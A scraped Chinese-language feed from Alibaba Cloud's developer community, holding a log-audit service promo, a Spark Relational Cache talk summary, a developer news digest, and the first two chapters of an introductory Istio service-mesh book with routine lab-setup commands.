        云上合规“保护伞”,一键开启日志审计服务

        2019年10月30日15时,日志审计服务重榜发布!行业领先的日志大数据解决方案,一站式提供数据收集、清洗、分析、可视化和告警功能。全面提升海量日志处理能力,实时挖掘数据价值,实时自动化采集、多产品支持、跨账号支持,以及其他合规支持,智能助力研发/运维/运营/安全等场景。
        10月30日15:00 15:00 邀您一键开启日志审计服务,免费试用

        test

        技术解读

        1、挑战未来:下一代企业级应用数据库系统
        2、阿里巴巴叶军:政企数字化转型,现在是最重要的时机
        3、威胁快报|Bulehero挖矿蠕虫升级,PhpStudy后门漏洞加入武器库
        4、确保数据零丢失!阿里云数据库RDS for MySQL 三节点企业版正式商用
        5、阿里云与MongoDB达成战略合作,成为全球唯一提供最新版MongoDB的云厂商

        扫描二维码加入钉钉群

        5555

        ]]>
        Spark Relational Cache实现亚秒级响应的交互式分析 Fri, 02 May 2025 09:39:04 +0800 本场视频链接:https://developer.aliyun.com/live/1548?spm=a2c6h.12873581.0.0.71671566Xloy3Z&groupCode=apachespark

        本场PPT资料:https://www.slidestalk.com/AliSpark/SparkRelationalCache2019_57927


        本次分享主要分为以下四个方面:

        1. 项目介绍
        2. 技术分析
        3. 如何使用
        4. 性能分析

        一、项目介绍

        项目背景

        阿里云EMR是一个开源大数据解决方案,目前EMR上面已经集成了很多开源组件,并且组件数量也在不断的增加中。EMR下层可以访问各种各样的存储,比如对象存储OSS、集群内部自建的HDFS以及流式数据等。用户可以利用EMR处理海量数据和进行快速分析,也能够支持用户在上面做机器学习以及数据清洗等工作。EMR希望能够支撑非常大的业务数据量,同时也希望能够在数据量不断增长的时候,能够通过集群扩容实现快速数据分析。
        image.png

        云上Adhoc数据分析痛点

        在云上做Adhoc数据分析的时候,很难实现随着数据量的增长使得查询的延迟不会大幅度增加。虽然目前各种引擎不断出现,并且某些引擎在一些场景下运行很快,但是数据量变大之后,查询响应速度难免有所下降,因此希望在比较统一的平台之上获得较好的性能。与此同时,阿里云也希望能够提供云原生的解决方案。Spark是目前工业界使用较多的计算引擎,应用非常广泛,但是在处理Adhoc上还是存在很多不足之处,因此阿里云在Spark上做了大量优化,帮助用户满足Adhoc查询的需求。因此就会涉及到缓存方案,虽然Spark中很早就有了缓存机制,但想要满足云上Adhoc场景却存在很多不足之处,因此阿里云会在Spark上做大量优化,帮助用户优化Adhoc查询速度。但是如果把数据放到内存中,将所有数据全部用作缓存可能也不足够,因此就催生出了Spark Relational Cache。
        image.png

        Spark Relational Cache

        用户的SQL请求过来之后,到了Spark上面,会需要比较长的时间在数据来源上进行处理,这里下层的存储包括集群的HDFS以及远端的JindoFS和阿里云OSS等。当有了Spark Relational Cache之后,查询过来之后会查询是否能够用到存储在Relational Cache中缓存的数据,如果不能用到则会转发到原生路径上,如果能用到则会用非常快的速度从缓存里面将数据读取出来并将结果返回给用户。因为Relational Cache构建在高效存储之上,通过用户的DDL将数据变成Relational Cache。

        image.png

        Spark Relational Cache特点

        Spark Relational Cache希望能够达到秒级响应或者亚秒级响应,能够在提交SQL之后很快地看到结果。并且也支持很大的数据量,将其存储在持久化的存储上面,同时通过一些匹配手段,增加了匹配的场景。此外,下层存储也使用了高效的存储格式,比如离线分析都会使用的列式存储,并且对于列式存储进行了大量优化。此外,Relational Cache也是用户透明的特性,用户上来进行查询不需要知道几个表之间的关系,这些都是已经有过缓存的,不需要根据已有的缓存重写Query,可以直接判断是否有可以使用的Relational Cache,对于一个厂商而言只需要几个管理员进行维护即可。Spark Relational Cache支持自动更新,用户不需要担心因为插入了新的数据就使得Cache过时导致查询到错误的数据,这里面为用户提供了一些设置的规则,帮助用户去进行更新。此外,Spark Relational Cache还在研发方面,比如智能推荐方面进行了大量探索,比如根据用户SQL的历史可以推荐用户基于怎样的关系去建立Relational Cache。
        image.png

        二、技术分析

        阿里云EMR具有很多核心技术,如数据预计算、查询自动匹配以及数据预组织。
        image.png

        数据预计算

        数据在很多情况下都有一个模型,雪花模型是传统数据库中非常常见的模型,阿里云EMR添加了Primary Key/Foreign Key的支持,允许用户通过Primary Key/Foreign Key明确表之间的关系,提高匹配成功率。在数据预计算方面,充分利用EMR Spark加强的计算能力。此外,还通过Data Cube数据立方来支持多维数据分析。
        image.png

        执行计划重写

        这部分首先通过数据预计算生成预计算的结果,并将结果存储在外部存储上,比如OSS、HDFS以及其他第三方存储中,对于Spark DataSource等数据格式都支持,对于DataLake等热门的存储格式后续也会添加支持。在传统数据库中有类似的优化方案,比如物化视图方式,而在Spark中使用这样的方式就不合适了,将逻辑匹配放在了Catalyst逻辑优化器内部来重写逻辑执行计划,判断Query能否通过Relational Cache实现查询,并基于Relational Cache实现进一步的Join或者组合。将简化后的逻辑计划转化成为物理计划在物理引擎上执行。依托EMR Spark其他的优化方向可以实现非常快速的执行结果,并且通过开关控制执行计划的重写。

        image.png

        自动查询匹配

        这里有一个简单的例子,将三个表简单地Join在一起,经过过滤条件获得最终的结果。当Query过来之后先判断Spark Relational Cache是否能够符合需求,进而实现对于预先计算好的结果进行过滤,进而得到最终想要的结果。
        image.png

        数据预组织

        如果将数十T的数据存在存储里面,那么从这个关系中获取最终的结果还需要不少的时间,因为需要启动不少的Task节点,而这些Task的调度也需要不少的开销,通过文件索引的方式将时间开销压缩到秒级水平,可以在执行时过滤所需要读取的文件总量,这样大大减少了任务的数量,这样执行的速度就会快很多。因为需要让全局索引变得更加有效,因此最好让数据是排过序的,如果对于结构化数据进行排序就会知道只是对于排列在第一位的Key有一个非常好的优化效果,对于排列在后面的Key比较困难,因此引入了ZOrder排序,使得列举出来的每个列都具有同等的效果。同时将数据存储在分区表里,使用GroupID作为分区列。
        image.png

        三、如何使用

        DDL

        对于简单的Query,可以指定自动更新的开关,并起一个名字方便后续管理。还可以规定数据Layout的形式,并最终通过SQL语句来描述关系,后续提供给用户WebUI一样的东西,方便用户管理Relational Cache。

        image.png

        数据更新

        Relational Cache的数据更新主要有两种策略,一种是On Commit,比如当依赖的数据发生更新的时候,可以将所有需要添加的数据都追加写进去。还有一种默认的On Demand形式,用户通过Refresh命令手动触发更新,可以在创建的时候指定,也可以在创建之后手工调整。Relational Cache增量的更新是基于分区实现的,后续会考虑集成一些更加智能的存储格式,来支持行级别的更新。
        image.png

        四、性能分析

        Cube构建

        阿里巴巴的EMR Spark对于1T数据的构建时间只需要1小时。
        image.png

        查询性能

        在查询性能方面,SSB平均查询耗时,无Cache时查询 时间按Scale成比例增加,Cache Cube后始终保持在亚秒级响应。

        image.png

        相关文章:EMR Spark Relational Cache 利用数据预组织加速查询


        阿里巴巴开源大数据技术团队成立Apache Spark中国技术社区,定期推送精彩案例,技术专家直播,问答区数个Spark技术同学每日在线答疑,只为营造纯粹的Spark氛围,欢迎钉钉扫码加入!二维码.JPG

        ]]>
        真香!阿里工程师的一段代码让我看饿了 | 开发者必读(095期) Fri, 02 May 2025 09:39:04 +0800

        最炫的技术新知、最热门的大咖公开课、最有趣的开发者活动、最实用的工具干货,就在《开发者必读》!

        每日集成开发者社区精品内容,你身边的技术资讯管家。


        每日头条

        真香!阿里工程师的一段代码让我看饿了

        打开盒马app,相信你跟阿里妹一样,很难抵抗各种美味的诱惑。
        image.png
        颜值即正义,盒马的图片视频技术逼真地还原了食物细节,并在短短数秒内呈现出食物的最佳效果。今天,我们请来阿里高级无线开发工程师莱宁,解密盒马app里那些“美味”视频是如何生产的。


        最强干货

        5G来了,真的来了!你准备好了么?

        2012年9月国内上映的一部好莱坞大片《敢死队2》,饰演恐怖分子头目的尚格·云顿掏出手机,遥控将埋设在坑道内的炸弹引爆。
        image.png
        仔细看就会发现恐怖分子遥控引爆炸弹用的还是功能机和3G网络。一年以后,到2013年12月4日,国家工信部正式向三大运营商发布4G牌照。

        时至今日,国内三大运营商正式上线5G商用套餐。你做好应对5G的冲击了么?

        公理设计-由奇怪海战引发的软件设计思考

        公理设计理论将设计建立在科学公理、定理和推论的基础上,由麻省理工学院教授 Nam. P. Suh 领导的研究小组于 1978 年提出,适用于各种类别的设计活动。软件设计当然也属于一类工程设计过程,这篇文章我们就来看一下两者的关联。

        这样才能正确解锁MaxCompute客户端

        大数据计算服务(MaxCompute,原名ODPS)是一种快速、完全托管的TB/PB级数据仓库解决方案。MaxCompute向用户提供了完善的数据导入方案以及多种经典的分布式计算模型,能够更快速的解决用户海量数据计算问题,有效降低企业成本,并保障数据安全。


        每天读本书

        带你读《微服务架构设计模式》之一:逃离单体地狱

        本书中,微服务架构的先驱、Java 开发者社区的意见领袖 Chris Richardson 收集、分类并解释了 44 个架构设计模式,这些模式用来解决诸如服务拆分、事务管理、查询和跨服务通信等难题。本书不仅仅是一个模式目录,还提供了经验驱动的建议,以帮助你设计、实现、测试和部署基于微服务的应用程序。


        精品公开课

        建立需求探索与持续交付的莫比乌斯环,促进业务成功

        直播时间:11月5日 20:00

        本期直播分享嘉宾:
        阿里云研发效能部资深技术专家、Teambition 客户成功首席顾问 何勉
        阿里云研发效能部高级技术专家、Teambition 客户成功资深专家 张燎原

        本次课程,将介绍如何连接两者,相互配合,形成敏捷的价值交付闭环,将持续交付能力转化为真正客户价值,促进业务成功。


        每日集成开发者社区精品内容,请持续关注开发者必读

        ]]>
        带你读《Istio入门与实战》之一:服务网格与Istio-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 实战
        点击查看第二章
        点击查看第三章
        Istio入门与实战

        image.png


        毛广献 编著

        第1章

        服务网格与Istio
        本章介绍服务网格的由来,以及服务网格给服务开发部署带来什么样的变化,并介绍一个成熟的开源服务网格实现—Istio,这也是本书主要学习的服务网格。通过本章,我们可以了解Istio的架构设计,了解Istio实现了哪些服务网格功能,从而为后面的学习和实验打下基础。

        1.1 服务网格简介

        服务网格出现的大环境如下:

        • 容器技术的广泛应用。由于Docker的出现,容器技术得到更广泛的认可和应用,各种服务于容器的工具如雨后春笋般涌现,出现了众多容器部署、容器集群、容器编排等平台,例如Swarm、Mesos、Kubernetes。由于容器具备轻量级、启动速度快、性能损失小、扩容缩容快、开发与生产环境统一等特性,越来越多的公司开始尝试使用容器来部署服务,容器技术的飞速发展也大大加速了微服务的应用。
        • 微服务的快速流行。随着近几年云计算的飞速发展,公有云也越来越成熟,微服务架构模式在大公司的兴起,特别是在Netflix、亚马逊等公司的大规模实践,使得越来越多的公司开始尝试使用微服务架构来重构应用。当微服务的服务数量越来越大时,微服务间的服务通信也越来越重要,我们所看到的一个应用,有可能背后需要协调成百上千个微服务来处理用户的请求。随着服务数和服务实例数的不断增长,服务可能上线下线,服务实例也可能出现上线下线和宕机的情况,服务之间的通信变得异常复杂,每个服务都需要自己处理复杂的服务间通信。
        • 目前微服务架构中的痛点。面对复杂的服务间通信问题,一般的解决方案是为服务开发统一的服务框架,所有服务依赖于服务框架开发,所有服务间通信、服务注册、服务路由等功能都由底层服务框架来实现,这样做固然可以在某种程度上解决服务间通信的问题,但是由于底层服务框架的限制,业务人员可能无法基于实际情况选择合适的技术栈;由于所有服务都依赖于底层的服务框架代码库,当框架代码需要更新时,业务开发人员可能并不能立即更新服务框架,导致服务框架整体升级困难。后来Netflix开源了自己的微服务间通信组件,之后被Spring Cloud集成到了一起,组成了Java语言的通用微服务技术栈,而其他编程语言可能并没有如此强大功能的开源组件,只能继续饱受微服务间通信的各种痛。

        基于以上服务间通信出现的问题,有人开始思考:能不能把服务间的复杂通信分层并下沉到基础设施层,让应用无感知呢?答案是肯定的。于是服务网格开始渐渐浮出水面,越来越多的人看到了服务网格的价值,尝试把服务网格应用于微服务实践中。

        1.1.1 服务网格的概念与特点

        服务网格(service mesh)这个概念来源于Buoyant公司的CEO Willian Morgan的文章“What’s a service mesh?And why do I need one?”。服务网格是一个专注于处理服务间通信的基础设施层,它负责在现代云原生应用组成的复杂服务拓扑中可靠地传递请求。在实践中,服务网格通常是一组随着应用代码部署的轻量级网络代理,而应用不用感知它的存在。
        服务网格的特点如下:

        • 轻量级的网络代理。
        • 应用无感知。
        • 应用之间的流量由服务网格接管。
        • 把服务间调用可能出现的超时、重试、监控、追踪等工作下沉到服务网格层处理。

        服务网格的原理大致如图1-1所示,深色部分代表应用,浅灰色部分代表服务网格中轻量级的网络代理,代理之间可以相互通信,而应用之间的通信完全由代理来进行。如果只看代理部分,可以看到一个网状结构,服务网格由此得名。
        服务网格一般由数据平面(data plane)和控制平面(control plane)组成,数据平面负责在服务中部署一个称为“边车”(sidecar)的请求代理,控制平面负责请求代理之间的交互,以及用户与请求代理的交互。服务网格的基本架构如图1-2所示。

        image.png


        image.png

        1.1.2 服务网格的优势

        微服务架构流行以后,服务的数量在不断增长。在不使用服务网格的情况下,每个服务都需要自己管理复杂的服务间网络通信,开发人员不得不使用各种库和框架来更好地处理服务间的复杂网络通信问题,这导致代码中包含很多与业务逻辑完全不相关的代码,稍有不慎就有可能给业务带来额外的复杂度和bug。
        当服务规模逐渐变大,复杂度增加,服务间的通信也变得越来越难理解和管理,这就要求服务治理包含很多功能,例如:服务发现、负载均衡、故障转移、服务度量指标收集和监控等。
        在使用服务网格时,我们甚至完全不需要改动现有的服务代码,服务开发完全可以使用不同的语言和技术栈,框架和库再也不是限制我们的绊脚石。服务应用代码中将不再需要那些用于处理服务间复杂网络通信的底层代码,我们可以更好地控制请求的流量,对服务进行更好的路由,使服务间的通信更加安全可靠,让服务更具有弹性,还能让我们更好地观测服务,并可以提前给服务注入故障,以测试应用的健壮性和可用性。而拥有这些功能只需要我们的服务做出微小的改变,甚至不需要改变。以上提到的这些功能,在中小规模的公司中,使用服务网格技术,只需要少量的人力投入就能拥有以前大公司才具备的高级服务治理能力。
        在云原生大行其道的今天,容器和Kubernetes增强了应用的伸缩能力,开发者可以基于此快速地创造出依赖关系复杂的应用;而使用服务网格,开发者不用关心应用的服务管理,只需要专注于业务逻辑的开发,这将赋予开发者更多的创造性。
        既然服务网格能给我们带来如此多的好处,我们应该如何快速上手使用服务网格呢?从头开发一个服务网格平台不仅费时费力,最后的实现也很可能与开源实现的功能基本一致,不如直接选择开源的服务网格实现,或者基于开源的服务网格实现做二次开发以适应自己公司的业务。在开源的服务网格实现中,现在相对比较成熟、可以应用于生产环境的只有Istio和Linkerd2(Conduit)。因为Istio项目的功能最为完整、稳定,所以综合来看,选择使用Istio更为合理一些。

        1.2 Istio简介

        Istio出自希腊语,表示“航行”的意思,官方图标为一个白色的小帆船。使用Istio可以让服务间的通信更简单、更安全,控制服务更容易,观测服务更方便。

        image.png

        Istio是由Google、IBM、Lyft公司主导开发的影响力最大的开源服务网格实现,使用Go语言编码,由于Go语言的性能较好,使得Istio性能不错。这个项目由众多代码贡献者完成。
        Istio能有效减少部署的复杂性,可以方便地将Istio应用到已有的分布式应用系统架构中,Istio包含的API可以方便地集成任何日志平台、监控平台、数据收集平台和访问策略系统。Istio有丰富的功能,可以帮助开发者更加高效地运行一个分布式微服务架构,并提供一个统一的方式来保护、连接、监控微服务。Istio提供了一个完整的解决方案,可以满足多样化的分布式微服务的需求。
        1. Istio的主要功能特性
        Istio可以让你轻松部署一个服务网格,而不需要在服务代码中做任何改变。只需要在你的环境中部署一个特殊的代理用来拦截所有微服务间的网络通信,就可以通过控制平面配置和管理Istio。Istio的功能特性如下:

        • HTTP、gRPC、WebSocket、TCP流量的自动负载均衡。
        • 细粒度的流量路由控制,包含丰富的路由控制、重试、故障转移和故障注入。
        • 可插拔的访问控制策略层,支持ACL、请求速率限制和请求配额。
        • 集群内度量指标,日志和调用链的自动收集,管理集群的入口、出口流量。
        • 使用基于身份的认证和授权方式来管理服务间通信的安全。

        由于Istio提供了足够多的可扩展性,这也使得Istio能满足多样化的需求。基于Istio你完全可以搭建出一套适合自己公司基础设施层的服务网格。
        2. Istio的设计目标
        Istio的架构设计中有几个关键目标,这些目标对于系统应对大规模流量和高性能地进行服务处理至关重要:

        • 最大化透明:为了让Istio被更广泛采用,运维和开发人员只需要付出很少的代价就可以从中受益。为此Istio将自己自动注入所有的网络路径的服务中。Istio使用Sidecar代理来捕获流量,不需要对已部署的应用程序代码进行任何改动。在Kubernetes中,代理被注入Pod中,通过编写iptables规则来捕获流量。注入Sidecar代理到Pod中并且修改路由规则后,Istio就能够拦截所有流量。这个原则也适用于性能,所有组件和API在设计时都必须考虑性能和规模。
        • 增量:随着运维人员和开发人员越来越依赖Istio,系统必然会一起成长。Istio会继续添加新功能,但是最重要的是扩展策略系统的能力,集成其他策略和控制来源,并将网格行为信号传播到其他系统进行分析。策略运行时支持标准扩展机制以便插入其他服务中。
        • 可移植性:Istio必须支持以最小的代价在任何云和本机环境上运行。将Istio上的服务进行迁移也是可行的。
        • 策略一致性:在服务间的API调用中,策略的应用使得可以对网格间行为进行全面的控制,但对于不需要在API级别表达的资源来说,对资源应用策略也同样重要。例如,将配额应用到ML训练任务消耗的CPU数量上,比将配额应用到启动这个工作的调用上更为有用。因此,策略系统作为独特的服务来维护,具有自己的API,而不是将其放到Sidecar代理中,这容许服务根据需要直接与其集成。

        1.3 Istio的架构设计

        Istio的架构设计在逻辑上分为数据平面和控制平面:

        • 数据平面由一系列称为“边车”(sidecar)的智能代理组成,这些代理通过Mixer来控制所有微服务间的网络通信,Mixer是一个通用的策略和遥测中心。
        • 控制平面负责管理和配置代理来路由流量,另外,控制平面通过配置Mixer来实施策略与遥测数据收集。

        Istio的数据平面主要负责流量转发、策略实施与遥测数据上报;Istio的控制平面主要负责接收用户配置生成路由规则、分发路由规则到代理、分发策略与遥测数据收集。
        图1-3展示了Istio的架构。

        image.png

        用户通过控制平面提供的API提交路由配置规则、策略配置规则与遥测数据收集的配置规则。Pilot把用户提交的配置规则转换成智能代理需要的配置形式,推送给智能代理。智能代理根据用户的配置来执行服务路由、遥测数据收集与服务访问策略。智能代理拦截服务所有流量,并与其他智能代理通信。

        1.3.1 数据平面

        Istio在数据平面中使用一个Envoy代理的扩展版本。Envoy是使用C++语言开发的高性能代理,它能拦截服务网络中所有服务的入口和出口流量。Istio利用了众多Envoy内置的功能特性,例如:

        • 动态服务发现
        • 负载均衡
        • TLS终止
        • HTTP/2和gRPC代理
        • 熔断器
        • 健康检查
        • 基于百分比流量分隔的灰度发布
        • 故障注入
        • 丰富的度量指标

        Envoy作为一个边车与对应的服务部署在同一个Kubernetes Pod中。这种部署方式使得Istio能提取丰富的流量行为信号作为属性。Istio又可以反过来使用这些数据在Mixer中进行策略决策,并发送这些数据到监控系统中,提供整个网络中的行为信息。
        采用边车部署方式,可以把Istio的功能添加到一个已经存在的部署中,并且不需要重新构建或者重新编写代码。

        1.3.2 控制平面

        控制平面中主要包括Mixer、Pilot、Citadel部件。
        1. Mixer
        Mixer是一个与平台无关的组件。Mixer负责在服务网络中实施访问控制和策略,并负责从Envoy代理和其他服务上收集遥测数据。代理提取请求级别的属性并发送到Mixer用于评估,评估请求是否能放行。
        Mixer有一个灵活的插件模型。这个模型使得Istio可以与多种主机环境和后端基础设施对接。因此,Istio从这些细节中抽象了Envoy代理和Istio管理的服务。
        Mixer架构如图1-4所示。

        image.png

        在每一个请求过程中,Envoy代理会在请求之前调用Mixer组件进行前置条件检查,在请求结束之后上报遥测数据给Mixer组件。为了提高性能,每个Envoy代理都会提前缓存大量前置条件检查规则,当需要进行前置条件检查时,直接在缓存中检查规则。如果本地缓存中没有需要的规则,再去调用Mixer组件获取规则。Mixer组件也有自己的缓存,以加速前置条件检查。需要上报的遥测数据也会被Envoy代理暂时缓存起来,等待时机上报Mixer组件,从而减少上报数据的调用次数。
        2. Pilot
        Pilot为Envoy代理提供服务发现功能,并提供智能路由功能(例如:A/B测试、金丝雀发布等)和弹性功能(例如:超时、重试、熔断器等)。
        Pilot将高级别的控制流量行为的路由策略转换为Envoy格式的配置形式,并在运行时分发给Envoy代理。Pilot抽象了平台相关的服务发现机制,并转换成Envoy数据平面支持的标准格式。这种松耦合设计使得Istio能运行在多平台环境,并保持一致的流量管理接口。
        Pilot架构如图1-5所示。

        image.png

        Pilot抽象不同平台的服务发现机制,只需要为不同的平台实现统一的抽象模型接口,即可实现对接不同平台的服务发现机制。用户通过规则配置API来提交配置规则,Pilot把用户配置的规则和服务发现收集到的服务转换成Envoy代理需要的配置格式,推送给每个Envoy代理。
        3. Citadel
        Citadel内置有身份和凭证管理,提供了强大的服务间和终端用户的认证。Citadel可以把不加密的通信升级为加密的通信。运维人员可以使用Citadel实施基于服务身份的策略而不用在网络层控制。现在,Istio还支持基于角色的访问控制,用于控制谁能够访问服务。

        1.4 Istio的功能特性

        1. 强大的流量管理
        Istio提供了简单的规则配置和流量路由功能,用于控制服务间的流量流动和API调用。Istio简化了服务级别特性的配置,如熔断器、超时、重试,并且能更简单地配置一些复杂的功能,如A/B测试、金丝雀发布、基于百分比进行流量分隔的灰度发布等。
        Istio提供了开箱即用的故障恢复功能,你可以在问题出现之前找到它,使服务调用更可靠,网络更加健壮。
        2. 安全可靠
        Istio提供了强大的安全功能,使得开发者不必再过分关注应用级别的安全问题。Istio提供了底层的安全通信,并且管理认证、授权和服务间通信加密。Istio对服务间通信默认加密以保证安全,在不同的协议和运行环境中也可使用统一的策略,只需要很少的修改或者完全不需要应用做出修改。
        虽然Istio是平台无关的,但是当你在Kubernetes上使用Istio时,结合Kubernetes的网络策略,就可以在网络层实现Pod级别安全隔离,使用Istio提供的安全功能实现服务级别的安全通信。
        3. 便捷的观测能力
        Istio提供了强大的调用链跟踪、指标收集、日志收集和监控功能,使用者可以更深入地了解服务网格的部署情况和运行状态,可以真正了解服务性能如何影响上游和下游的功能,可以自定义仪表板对所有服务性能进行可视化管理,并了解该性能如何影响其他的应用程序。
        所有这些功能都可以帮助你更高效地观测服务,增强服务的SLO(服务等级目标),最重要的是,可以帮助你更高效地找到服务的问题并修复。
        4. 多平台支持
        Istio的设计目标是平台无关,可以运行在多种环境,包括跨云环境、裸机环境、Kubernetes、Mesos等。到目前为止,官方支持如下的部署方式:

        • 服务部署在Kubernetes上。
        • 服务注册在Consul上。
        • 服务运行在独立的虚拟机上。

        虽然官方支持多种部署方式,但是目前有许多功能是基于Kubernetes的原生功能来实现的,Istio在Kubernetes上实现的功能也是最多的,比如自动注入代理。综合来看,在Kubernetes上尝试使用Istio是目前最好的选择。
        5. 易于集成和定制
        Istio具备扩展和定制功能,并可以与当前已经存在的解决方案集成,包括访问控制(ACL)、日志、监控、配额、认证等功能。

        1.5 本章小结

        Istio是一个生产已经可用的开源服务网格平台实现,它提供了丰富的功能。虽然Istio是与平台无关的,但是由于许多功能是基于Kubernetes实现的,目前还是建议在Kubernetes上使用Istio。
        由于Istio实用性很强,直接上手实验是学习Istio的最好途径,所以在后续章节中,我们将搭建实验环境,逐一尝试Istio的强大功能。

        ]]>
        带你读《Istio入门与实战》之二:实验说明-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 点击查看第一章
        点击查看第三章

        第2章

        实验说明
        为了能更好地演示和学习Istio,我们搭建了一个Istio的实验环境,以便后续章节进行实验。本章主要介绍实验的环境,以及在创建实验环境时需要注意的事项。实验中使用的应用是我用多种编程语言编写的简单样例程序,在本章中也会做详细的介绍,最后简单介绍一下应用的容器化镜像构建方法。

        2.1 实验的环境

        2.1.1 基础环境

        在没有特殊说明的情况下,本书的实验是在Windows 10系统下进行的,在MacOS和Linux系统下也可以进行实验,并无太大差别。
        考虑到不是每位读者都有足够的云主机或者物理机,本实验使用3台虚拟机来进行实验。虚拟机管理软件使用开源的Virtualbox,为了方便进行重复的快速实验,我们会使用Vagrant配合Virtualbox来进行虚拟机的管理,包括创建、启动、关闭虚拟机以及虚拟机的快照保存恢复等操作。
        本实验对硬件有一些基本要求,否则可能会出现实验无法成功的现象。对CPU并没有太多要求,由于我们实验时会创建3台虚拟机,每台虚拟机会分配至少2G内存,所以这就要求至少有6G的空闲内存,加上系统本身的内存占用,所以推荐在进行实验时,电脑至少有8G内存。一般的机械硬盘就能满足实验条件,当然如果使用SSD硬盘会更好一些。硬盘推荐至少保留30G以上可用空间,虚拟机并不会占用这么多存储空间,但是由于我们会保存多个快照来快速恢复实验环境,这些快照需要占用大量的存储空间,所以综合起来可能需要30G的存储空间。
        关于Virtualbox和Vagrant的安装不再详细描述,具体安装细节可以参考官方文档或者通过搜索引擎获取安装文档。本书实验时所使用的Virtualbox和Vagrant软件安装包以及后面会使用的Vagrant box文件可以到如下地址下载:https://pan.baidu.com/s/1Q8s4mnhj2ROnUzW1ZTn44Q
        由于在Kubernetes上部署Istio更加方便,并且能体验到最全功能,所以本书的实验会依赖Kubernetes环境。后面的章节会详细介绍如何通过Kubeadm部署Kubernetes集群。
        实验中还会涉及Git的基本使用,所以也需要提前在系统上安装好对应操作系统的Git软件。由于Windows系统下默认的命令行终端CMD并不好用,所以在Windows系统上我会使用Git Bash作为默认的命令行终端。Git Bash是Windows系统上安装好Git软件后就自带的。当然,你也可以根据自己的喜好选择终端软件。
        实验时使用Xshell软件来应用SSH远程登录到实验环境的Linux虚拟机,免费家用版本提供在一个窗口中最多可以同时打开4个会话终端,已经能满足我们的实验需求。Xshell只提供了Windows系统版本的软件,安装时一直点击“下一步”按钮就可以完成安装,详细安装步骤请查阅相关文档。MacOS和Linux系统的用户可以直接使用系统自带的终端来应用SSH远程登录到实验环境的Linux虚拟机。
        默认情况下使用Virtualbox启动虚拟机时,虚拟机目录会存放在用户的主目录,如果Windows下C盘剩余空间过小,可能会由于硬盘空间不够,导致创建虚拟机失败。如果有需要,可以在命令行终端设置虚拟机的存放目录,先创建D:virtualbox目录。如果提示找不到VBoxManage命令,可能需要把Virtualbox的安装目录添加到系统的PATH环境变量中。使用如下命令设置:
        $ VBoxManage setproperty machinefolder D:virtualbox
        $ VBoxManage list systemproperties | grep machine
        Default machine folder: D:virtualbox

        2.1.2 命令说明

        由于实验使用Vagrant和Virtualbox来管理虚拟机集群环境。使用Vagrant创建的虚拟机一般情况下登录用户名为vagrant,当部署kubernetes集群或者其他安装软件的操作时,由于需要root权限,我们有时会直接切换到root用户来执行接下来的操作。当以vagrant用户登录虚拟机环境的Linux主机后,使用sudo su - root命令可临时切换到root用户来执行接下来的操作,这也可以从执行命令的提示符中看出,当以vagrant用户操作时,命令会以$符号来开头;而当以root用户操作时,命令会以#符号来开头。如下所示:
        image.png

        本书所有实验中的命令执行操作如果没有特殊说明,普通用户的操作均是以vagrant用户执行。
        本书实验内容的大部分代码和使用的Kubernetes以及Istio的yaml文件,都在https://github.com/mgxian/istio-lab 仓库中。可使用如下方式获取源码:
        $ git clone https://github.com/mgxian/istio-lab
        如果没有安装Git,需要提前安装Git,可使用如下命令安装:
        $ sudo yum install -y git
        本书后面的大部分实验在执行kubectl和istioctl命令时,使用到的命令都是以仓库的根目录作为当前工作目录的,也就是说,当执行这两个命令时会先进入istio-lab目录,然后再执行相应的命令。
        第3章之后(不包含第3章)的大部分实验操作,在没有特殊说明的情况下,都是在使用Xshell登录到实验环境虚拟机中后进行的操作,安装Git和下载实验中使用的源代码只需要在一台虚拟机上进行即可,一般会选择第一台虚拟机。只有管理虚拟机相关的操作命令比如:启动、停止、暂停虚拟机,才需要在Windows系统宿主机上进行操作。

        2.1.3 问题及解决方案

        由于实验虚拟机集群资源与性能的问题,可能会出现实验结果和书中展示的结果有所不同的情况,本小节主要介绍实验中可能会遇到的问题及解决方法。
        1. 路由不生效
        在进行服务路由等功能验证时,很有可能会出现路由不生效的问题。当创建路由后,由于机器性能问题,导致服务路由信息传播速度慢,如果立即访问测试,就很有可能会出现与书中展示的结果不同的现象,此时可以稍等片刻,让服务路由信息传播完成,再进行访问测试。或者删除路由规则,再重新创建。当然,你也可以重启Pilot组件,这通常是最快的解决方法。另外,也可以通过如下介绍的方式深入地排查问题。
        创建路由后,可以通过如下命令查看路由的分发情况:

        image.png

        当路由中的状态都为SYNCED,不存在Stale状态时,表明路由已经分发完成。此时再进行访问测试,一般情况下不会再出现问题。istio-egressgateway和istio-ingressgateway会有部分状态为NOT SENT,这是正常的,因为如果没有创建过Gateway,就不会发送RDS给istio-egressgateway和istio-ingressgateway,此时的状态就为NOT SENT。
        此外,还可以通过查看Pod日志观察Envoy有无接收到最新的路由规则,可以通过如下方式查看日志:
        $ INGRESS_GATEWAY_POD=$(kubectl get pod -n istio-system | grep istio-ingressgateway | awk '{print $1}')
        $ kubectl logs -f $INGRESS_GATEWAY_POD -n istio-system
        有时候也可能会出现使用istioctl proxy-status不能获取全部Pod的路由同步状态的情况,或者使用istioctl proxy-status获取到的状态都是正常状态,但路由仍然没有生效,此时可能是由于Pilot处于异常状态。可以使用如下的方式重启Pilot实例:

        image.png
        image.png

        当然,你也可以参考本书第12章中关于路由不生效的排错步骤来进行问题排查。
        2. 应用路由规则时出现超时错误
        在实验中创建路由规则时,无法成功创建或更新,出现如下的超时错误信息:

        image.png

        这一般是由于Istio中的Galley组件出现了问题,使用如下命令重启Galley组件即可解决:

        image.png

        3. 自动注入失败
        创建Pod时,提示如下的错误信息:

        image.png

        创建或扩容Deployment时,没有创建出对应数量的Pod,查看Deployment对应的ReplicaSet信息,可以看到如下所示的错误信息:

        image.png
        image.png

        这一般是由于Istio中的Sidecar-injector组件出现了问题,使用如下命令重启Sidecar-injector组件即可解决:

        image.png

        有时也可能碰到其他异常问题,比如:拉取镜像失败,可能是由于Virtualbox的nat网络出了问题,这些问题一般都无法快速解决,甚至没有办法解决,不用浪费太多时间在这些异常问题上。可以尝试使用虚拟机的快照功能,直接恢复虚拟机环境到创建好Istio集群的初始状态,再重新进行实验。

        2.2 实验的应用

        2.2.1 应用架构说明

